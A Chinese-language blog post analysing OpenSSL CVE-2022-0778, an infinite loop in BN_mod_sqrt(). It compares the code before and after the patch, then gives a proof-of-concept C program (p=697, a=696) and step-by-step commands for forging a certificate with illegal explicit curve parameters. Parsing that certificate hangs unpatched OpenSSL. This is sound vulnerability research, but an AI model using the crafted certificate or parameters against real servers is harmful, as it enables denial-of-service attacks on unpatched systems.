本文介紹CVE-2022 0778漏洞及其復現方法,並精心構造了具有一個非法橢圓曲線參數的證書可以觸發該漏洞。
本博客已遷移至CatBro's Blog,那是我自己搭建的個人博客,歡迎關注。本文鏈接
漏洞描述[1]
漏洞出自BN_mod_sqrt()
接口函數,它用於計算模平方根,且期望參數p應該是個質數,但是函數內並沒有進行檢查,這導致內部可能出現無限循環。這個函數在解析如下格式的證書時會被用到:
- 證書包含壓縮格式的橢圓曲線公鑰時
- 證書帶有顯式橢圓曲線參數,其基點是壓縮格式編碼的
總之,在解析證書時需要對點坐標進行解壓縮操作的就會調用到這個函數。所以外部可以通過精心構造一個具有非法的顯式曲線參數的證書來觸發無限循環,從而造成DoS拒絕服務攻擊。
官方補丁commit[2]
函數分析
我們先簡單過一下這個函數的實現。實現函數簽名如下,a是操作數,p是模數
BIGNUM *BN_mod_sqrt(BIGNUM *in, const BIGNUM *a, const BIGNUM *p, BN_CTX *ctx)
首先對p做了簡單的檢查,對p是偶數、1這兩個顯然不是質數的情況直接報錯,對p為2的情況進行了特殊處理。
if (!BN_is_odd(p) || BN_abs_is_word(p, 1)) {
if (BN_abs_is_word(p, 2)) {
// ...
}
BNerr(BN_F_BN_MOD_SQRT, BN_R_P_IS_NOT_PRIME);
return NULL;
}
接下來對a是0或1的特殊情況做了特殊處理
if (BN_is_zero(a) || BN_is_one(a)) {
// ...
}
然后計算A := a mod p
,就是計算非負余數
if (!BN_nnmod(A, a, p, ctx))
下面幾行的字面意思是從p的第1位開始數有幾個連續的0,其實是將|p| - 1表示成如下的格式:|p| - 1 == 2^e * q
,即表示成2的冪次方的奇數倍,其中q是奇數。例如p為49,表示二進制是110001,那么e為4,q為3,49 - 1 == 2^4 * 3
e = 1;
while (!BN_is_bit_set(p, e))
e++;
接下來對e等於1或2的簡單情況進行特殊處理,因為不會走到無限循環,我們跳過
if (e == 1) {
}
if (e == 2) {
}
對於e > 2的情況,就需要老老實實用Tonelli/Shanks算法來計算了。首先需要找到一個不是平方數的y,且0 < y < |p|
,因為不是重點我們跳過。
接下來計算q的值,將p右移e位就得到了q
if (!BN_copy(q, p))
// ...
if (!BN_rshift(q, q, e))
y := (y ^ q) mod p
,因為y是個非平方數,所以計算q次方可以得到一個階為2^e的值。(Don't ask me why ,注釋這么寫的🤷♂️)
if (!BN_mod_exp(y, y, q, p, ctx))
接下來是計算 x := a^((q-1)/2)
if (!BN_rshift1(t, q))
if (!BN_mod_exp(x, A, t, p, ctx))
下面兩個計算b := a*x^2 (= a^q)
if (!BN_mod_sqr(b, x, p, ctx))
if (!BN_mod_mul(b, b, A, p, ctx))
然后計算x := a*x (= a^((q+1)/2))
if (!BN_mod_mul(x, x, A, p, ctx))
終於要進入我們最關心的循環結構了,這里有兩層循環,死循環是發生在內層的循環中。我們來看下修改前后的代碼的區別,下面的是有問題的循環代碼:
// before
i = 1;
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
while (!BN_is_one(t)) {
i++;
if (i == e) {
ERR_raise(ERR_LIB_BN, BN_R_NOT_A_SQUARE);
goto end;
}
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
這個是修復后的循環代碼:
// after
for (i = 1; i < e; i++) {
if (i == 1) {
if (!BN_mod_sqr(t, b, p, ctx))
goto end;
} else {
if (!BN_mod_mul(t, t, t, p, ctx))
goto end;
}
if (BN_is_one(t))
break;
}
乍一看好像沒什么區別,只是把while循環改成了for循環。區別非常細微,主要有兩點:
- 結束循環的判斷條件不同,前者是判斷t是否為1來正常結束,在循環內判斷
i == e
來異常結束;而后者是判斷i < e
來異常結束,循環中判斷t是否為1來正常結束 - 還有非常重要的一點區別,就是前者i為1的情況並不在循環中
問題就是由於這點細微的區別產生的,考慮這樣一種情況,如下內層循環一開始e就小於等於i(比如e=1),那么i == e
條件將永遠不會滿足。如果再使得t永遠不等於1,那么就會進入死循環了。
對於第一次進入外層循環,e肯定是大於2的,不會進入死循環,但是別忘了在外層循環最后會把i賦值給e,如下所示:
while (1) {
// ...
for (i = 1; i < e; i++) {
// ...
}
/* t := y^2^(e - i - 1) */
if (!BN_copy(t, y))
goto end;
for (j = e - i - 1; j > 0; j--) {
if (!BN_mod_sqr(t, t, p, ctx))
goto end;
}
if (!BN_mod_mul(y, t, t, p, ctx)) // y := t^2 = y^2^(e-i)
goto end;
if (!BN_mod_mul(x, x, t, p, ctx)) // x = x*t
goto end;
if (!BN_mod_mul(b, b, y, p, ctx)) // b = y^2^(e-i) y is the original
goto end;
e = i;
}
所以結合這些條件,就可以嘗試構造出能夠進入死循環的攻擊方式:
- 挑選合適的a和p,使得
b^2=1(mod p)
,其中b是由a計算出來的,這樣外層循環在第一次迭代時不會進入while內層循環,i的值就為1,於是外層循環第二次迭代時e就變成了1 - 外層循環進行第二次迭代時,只要使得
t != 1 (mod p)
永遠滿足,就會進入死循環了
注意:第1個條件在p為正常的質數時也是會發生的,但如果p是合數那么第二條也將滿足。
復現問題
要復現問題,其實就是挑選合適的參數a和p使得上面的條件成立。p的選取需要能夠滿通過函數前面的一些檢查,不能是太明顯的合數,必須是奇數,且e需要大於2,即二進制表示的p必須是…001
形式。此外a的選取需要滿足a == -1 (mod p)
且b == -1 (mod p)
,這樣在第一次外層迭代后e就會設為1,使得第二次進入外層迭代進入死循環。
確定a和p需要一定的數學知識,需要了解Tonelli/Shanks算法的實現。我不是學數學的,沒學過數論那些東西,所以要完全了解其數學原理需要花些時間。好在drago-96同學幫我們做了這個事情,他最終選取了p=697,a=696這個組合。有興趣的可以看一下數學說明[3]。
有了a和p,然后寫一個簡單的測試程序就可以復現問題了
#include <openssl/bn.h>
int main() {
BN_CTX *ctx;
ctx = BN_CTX_new();
BIGNUM *res, *a, *p;
BN_CTX_start(ctx);
res = BN_CTX_get(ctx);
a = BN_CTX_get(ctx);
p = BN_CTX_get(ctx);
BN_dec2bn(&p, "697");
BN_dec2bn(&a, "696");
printf("p = %s\n", BN_bn2dec(p));
printf("a = %s\n", BN_bn2dec(a));
BIGNUM* check = BN_mod_sqrt(res, a, p, ctx);
printf("%s\n", BN_bn2dec(res));
return 0;
}
對於修復前的代碼,程序執行后會進入死循環
$ ./sqrt
p = 697
a = 696
而修改后可以正常結束。
$ ./sqrt
p = 697
a = 696
0
$
構造非法證書
接下來我們來嘗試構造一個非法的證書,使證書帶有顯式橢圓曲線參數,且基點是壓縮格式編碼的。然后我們將證書中曲線參數修改成我們想要的值。
創建一個正常的帶顯式曲線參數的證書
首先我們需要創建一個ec密鑰,因為我們想要證書中包含顯式的曲線參數,所以我們在生成密鑰時也選擇帶顯式參數
$ openssl ecparam -out ec.key -name prime256v1 -genkey -noout -param_enc explicit -conv_form compressed
接着為了方便起見,我們直接自簽發一個證書。這里將輸出格式設為DER也是為了方便我們后面的修改ASN1結構。
$ openssl req -new -x509 -key ec.key -out cert.der -outform DER -days 360 -subj "/CN=TEST/"
確認一下證書信息,其中包含了曲線參數信息:
$ openssl x509 -in cert.der -text -noout -inform DER
...
Field Type: prime-field
Prime:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:ff
A:
00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
ff:ff:fc
B:
5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
60:4b
Generator (compressed):
03:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
98:c2:96
Order:
00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
63:25:51
...
其中的Prime、A、B、Generator就是我們需要修改的目標參數。那么我們應該將其改成什么呢?然后又通過什么方法進行修改呢?
構造非法證書
首先,在實際動手我們先需要搞清楚這幾個值是什么意思、需要滿足什么關系。定義在有限域上的橢圓曲線滿足如下方程
其中的a就是曲線參數A,b就是曲線參數B,p即為曲線參數Prime,a、b、p參數確定了一條橢圓曲線。解壓縮點坐標就是根據x坐標來計算y坐標,從上面的公式可以看到這需要用到求平方根的運算:
我們沿用之前使用的697/696組合,即此時 p = 697,\(x^3+ax+b=696\)。我們只要選擇合適的a、b、x是后面那個等式成立就可以了。
我們令x=8,a=23,b=0,等式成立。
接下來就要着手修改我們的證書,徒手修改ASN1結構真的是要了我的老命,大家如果知道有什么方便的工具還請不吝賜教。我使用的工具主要是xxd
轉成hex格式進行編輯,完成之后再xxd -r
轉回去。(感謝wllm-rbnt提供的asn1template工具,詳細描述見下面)
- 你需要修改Prime、A、B、Generator4個目標字段的值
- 其中Prime為697,即十六進制的02b9
- A為23,即 十六進制的17
- B為0
- Generator的x為8,又因為是壓縮格式,將其改成十六進制的020008(或030008)
- 因為ASN1是嵌套的結構,所以修改了內層長度之后,你還需要把外層的所以長度都進行相應的修正,這是個體力活。
- 另外OpenSSL代碼中會對ASN1_INTEGER進行padding格式的檢查,所以Prime值的前面不能多余的0字節,所以我們必須修改Prime的長度
- 而且OpenSSL還會對檢查點字符串長度與Prime的長度的關系(對於壓縮格式,點字符串的長度需要比Prime長度多1),這也是為什么我們將Genrator設置成030008,而不是0308的原因
- 還有注意一點,就是
xxd -r
轉回去之后可能會在文件末尾添加一個0a換行,你需要將其剔除。方法有很多,其中一種就是使用split命令。
我們先來看下證書的ASN1結構,划紅線的部分都是我們需要修改的部分
$ openssl asn1parse -in cert.der -inform DER -i
Prime、A、B、Generator的目標值上面已經說了,相關長度的修改前后的值已經列在下表中了:
from(dec) | from(hex) | to(dec) | to(hex) |
---|---|---|---|
549 | 225 | 488 | 1e8 |
460 | 1cc | 399 | 18f |
266 | 10a | 205 | cd |
227 | e3 | 166 | a6 |
215 | d7 | 154 | 9a |
44 | 2c | 13 | 0d |
33 Prime | 21 | 2 | 02 |
33 Generator | 21 | 3 | 03 |
具體的修改過程如下,其中編輯文本的步驟已省略:
$ cp cert.der cert.der.old
$ xxd cert.der cert.der.hex
$ cp cert.der.hex cert.der.hex.old
$ vim cert.der.hex
# edit cert.der.hex
# ...
# complete
$ xxd -r cert.der.hex cert.der.new
2022年3月21日更新:
一種更方便的方法是使用wllm-rbnt寫的asn1template工具。
拉倉庫:
$ git clone https://github.com/wllm-rbnt/asn1template.git
從證書中生成一個DER模板:
$ ./asn1template/asn1template.pl cert.der > cert.tpl
然后修改我們上面提到的那幾個參數,修改前后的區別如下:
diff cert.tpl cert_new.tpl
46c46
< field32 = FORMAT:HEX,OCTETSTRING:036B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
---
> field32 = FORMAT:HEX,OCTETSTRING:030008
51c51
< field36 = INTEGER:0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
---
> field36 = INTEGER:0x2B9
53,54c53,54
< field37 = FORMAT:HEX,OCTETSTRING:FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
< field38 = FORMAT:HEX,OCTETSTRING:5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
---
> field37 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000017
> field38 = FORMAT:HEX,OCTETSTRING:0000000000000000000000000000000000000000000000000000000000000000
然后再用ASN1_generate_nconf(3)
將其轉換回DER編碼的ASN1:
$ openssl asn1parse -genconf cert_new.tpl -noout -out cert_new.der
輸出的證書文件cert_new.der
跟我們之前手動編輯的版本是等同的。
到這里我們的證書就構造好了,現在來看看修改后的ASN1結構:
$ openssl asn1parse -in cert.der.new -inform DER -i
划紅線的部分都已經被我們修改了,且證書的ASN1編碼是正常的。
使用非法證書測試
OK,現在我們來解析這個構造的非法證書試試,不出意外的話就會進入無限循環了。
openssl x509 -in cert.der.new -inform DER -text -noout
可以看到openssl進程的CPU占用是100%,且調用棧是在BN_mod_sqrt()
函數之中。
如果惡意攻擊方在與服務器進行SSL握手時使用類似這種精心構造的證書的話,服務器就會進入死循環,從而造成DoS攻擊。
構造的證書以及中間過程產物已經上傳Github[3:1]倉庫,有需要的可以自行獲取。